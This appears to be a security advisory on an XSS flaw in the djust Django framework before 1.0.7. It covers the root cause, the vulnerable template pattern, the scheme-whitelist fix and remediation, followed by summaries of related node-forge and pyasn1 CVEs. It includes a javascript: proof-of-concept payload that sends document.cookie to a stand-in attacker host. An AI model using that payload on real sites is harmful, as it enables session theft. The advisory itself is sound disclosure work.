Sep 17, 2026·5 min read·20 visits
A vulnerability in djust (< 1.0.7) allows unauthenticated stored or reflected XSS because component template tags fail to validate URI schemes, allowing 'javascript:' payloads to execute directly upon user interaction.
Prior to version 1.0.7, the djust Python package is vulnerable to Stored and Reflected Cross-Site Scripting (XSS) via component template tags. The underlying issue exists because the package fails to sanitize or validate incoming URI schemes when rendering URLs inside interactive HTML attributes like href or action. While the framework HTML-escapes strings to prevent attribute breakout, it permits the execution of arbitrary JavaScript via the javascript: pseudo-protocol.
The djust library is a Django-based framework designed to provide high-performance, real-time UI updates over WebSockets. Under the hood, it leverages a Rust-powered rendering architecture to process templates server-side in a manner reminiscent of Phoenix LiveView. By bypassing complex front-end compilation steps, it allows developers to build reactive components natively inside Django.
A security vulnerability exists in several built-in component template tags nested within the djust.components.templatetags.* namespace. These tags are responsible for generating interactive elements, such as anchors and forms, and rendering developer- or user-supplied URLs into their respective attributes. The attack surface is exposed to any user-supplied content that binds to these components without rigorous backend validation.
Prior to version 1.0.7, the framework relied entirely on HTML escaping to prevent injection attacks within these tags. Although HTML escaping blocks traditional attribute breakout payloads, it does not prevent browser interpretation of alternative URI schemes. The resulting Stored or Reflected Cross-Site Scripting (XSS) vulnerability allows malicious script execution under specific user interactions.
The root cause of this vulnerability lies in the improper handling and verification of URI schemes inside the component rendering pipeline. Web templates require structural validation when rendering URLs inside tags like <a href="..."> or <form action="...">. While HTML escaping mitigates tag injection, it remains blind to the protocol part of the URL.
When a component template tag is processed, the system invokes Django's standard escaping mechanism or calls conditional_escape(url) internally. This routine successfully identifies and escapes structural characters such as double quotes, single quotes, and angle brackets. Consequently, input containing payloads like https://example.com" onmouseover="alert(1) is safely neutralized and rendered as an un-executable string inside the attribute value.
However, the javascript: pseudo-protocol consists entirely of alphanumeric characters, colons, and parentheses. Because these characters are not flagged as special HTML entities, conditional_escape yields the input string unchanged. When the browser parses the rendered document and the user triggers the interaction, the browser interprets the URI protocol scheme and executes the JavaScript instructions directly in the security context of the origin.
To demonstrate the flaw, we analyze the logical vulnerable execution path within the tag generation logic. Below is a representation of the template output and Python processing routine before and after the security patch introduced in version 1.0.7.
<!-- Vulnerable Template Generation Pattern (< 1.0.7) -->
<!-- The context variable 'url' is rendered verbatim, relying solely on HTML escaping -->
<a href="{{ url }}">Action Link</a># Conceptual representation of the patch logic applied in version 1.0.7
import urllib.parse
SAFE_SCHEMES = ("http", "https", "mailto", "tel", "sms")
def sanitize_component_url(url_string):
# Parse the incoming URL to isolate the protocol scheme
parsed = urllib.parse.urlparse(url_string.strip())
# If a scheme exists but is not explicitly whitelisted, invalidate it
if parsed.scheme and parsed.scheme.lower() not in SAFE_SCHEMES:
# Return a safe fallback to prevent script execution
return "#"
return url_stringThe fix implemented in version 1.0.7 introduces structured parsing and whitelist-based scheme checking prior to output generation. By rejecting pseudo-protocols like javascript: and data:, the template tags can no longer inject executable script environments into structural HTML link attributes. This effectively closes the logical loophole left open by simple character-escaping routines.
An attacker can leverage this flaw by submitting a malicious link to any model or input field that feeds into a djust template tag component. The attack requires minimal complexity and low privileges, meaning any authenticated user with the ability to edit a profile, leave a comment, or configure a dashboard link can act as the threat vector.
A functional proof-of-concept payload targeting the session context would look like the following:
javascript:fetch('https://attacker.com/steal?cookie=' + btoa(document.cookie))
Once the victim's browser renders the component containing this link and the victim clicks the element, the browser parses the javascript: scheme. The active session cookies (excluding those protected by the HttpOnly flag) are then transmitted to the external system controlled by the attacker.
The security impact is classified as Medium with a CVSS v4.0 base score of 5.1. The threat primarily impacts subsequent systems and clients rather than the direct integrity of the host server filesystem or data layer.
A successful exploit permits arbitrary client-side code execution. Attackers can execute actions on behalf of the victim (similar to a Cross-Site Request Forgery attack), manipulate page contents to present phishing interfaces, or steal active session tokens.
Immediate remediation requires upgrading the djust package to version 1.0.7 or later. The update implements standard, strict protocol validation that neutralizes the injection vector by neutralizing non-conforming pseudo-protocols inside component logic.
In environments where package upgrades are delayed by policy or regression testing requirements, developers must implement manual input filtering. This involves validating all URLs through a custom parsing validator prior to component rendering. Any URL containing an invalid scheme or a scheme not explicitly matching HTTP, HTTPS, or local relative paths must be rejected.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
djust djust-org | < 1.0.7 | 1.0.7 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS Score | 5.1 |
| EPSS Score | 0.00% |
| Impact | Cross-Site Scripting (XSS) |
| Exploit Status | PoC |
| KEV Status | Not Listed |
The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.
CVE-2026-118777 is a prototype pollution vulnerability (CWE-1321) in the Forge JavaScript cryptography and networking library (distributed on npm as node-forge) prior to version 1.4.1. The flaw resides in the forge.http client subsystem, where incoming HTTP cookie names and paths parsed from Set-Cookie response headers are stored directly into standard JavaScript objects without key validation or property isolation. By returning crafted Set-Cookie headers containing keys such as __proto__ or constructor, a malicious HTTP server can inject arbitrary properties into Object.prototype, attach attributes to the global Object constructor, or delete built-in prototype methods to cause an application-wide denial of service.
CVE-2026-118775 (GHSA-4642-5mcj-2rqw) is an integer overflow and validation flaw in the ASN.1 serialization module of Forge (node-forge) prior to version 1.4.1. The asn1.oidToDer() function fails to validate the range of the first two arcs of an Object Identifier (OID) and truncates the packed initial subidentifier to a single 8-bit integer. Applications that perform policy checks on untrusted OID strings before encoding them into Distinguished Encoding Rules (DER) format can be tricked into emitting DER bytes that correspond to a completely different, restricted OID.
CVE-2026-119194 is an algorithmic complexity vulnerability (CWE-407) in the pyasn1 library for Python, affecting versions 0.3.3 through 0.6.4. The flaw resides in the schemaless decoding routine ConstructedPayloadDecoderBase._decodeComponentsSchemaless used across BER, CER, and DER codecs. By sending an ASN.1 container populated with child components whose tag identifiers are separated by multiples of CPython's integer hash modulus (sys.hash_info.modulus), an unauthenticated attacker can force worst-case hash collisions in an unbounded Python set, degrading decoding performance from O(N) to O(N^2) and causing a Denial of Service (DoS).
CVE-2026-119195 is an algorithmic complexity vulnerability (CWE-407) in the pyasn1 library for Python, affecting all versions prior to 0.6.5. When decoding constructed strings or indefinite-length ANY types across BER, CER, and certain DER code paths, the payload decoders repeatedly concatenate incoming fragments onto an immutable bytes object using the += operator. Because Python bytes objects cannot be resized in-place, each fragment iteration allocates a new buffer and copies all previously accumulated bytes, resulting in quadratic O(N^2) time and memory copy complexity. An unauthenticated remote attacker can supply a highly fragmented ASN.1 stream to exhaust CPU cycles and stall application worker threads.
An algorithmic complexity vulnerability (CWE-407) in pyasn1 versions prior to 0.6.5 allows unauthenticated attackers to cause a Denial of Service (DoS) via crafted ASN.1 payloads. The flaw resides in the binary-encoded ASN.1 REAL mantissa deserialization routine within RealPayloadDecoder.valueDecoder. By performing iterative byte-string slicing and repeated bitwise shifts on a growing arbitrary-precision integer, the decoder exhibits quadratic time and memory allocation complexity relative to the mantissa length. Supplying a BER-, CER-, or DER-encoded payload with a large REAL mantissa causes excessive CPU consumption and blocks application worker processes.
A vulnerability classified under CWE-407 (Inefficient Algorithmic Complexity) exists in the pyasn1 library prior to version 0.6.5. When parsing constructed ASN.1 BIT STRING payloads under BER, CER, or schema-driven DER encoding rules, the BitStringPayloadDecoder repeatedly shifts and copies the entire accumulated bit value for each incoming fragment. Processing inputs with a large number of small constructed fragments induces quadratic CPU consumption, allowing unauthenticated remote attackers to cause a denial of service via resource exhaustion during the initial decoding phase.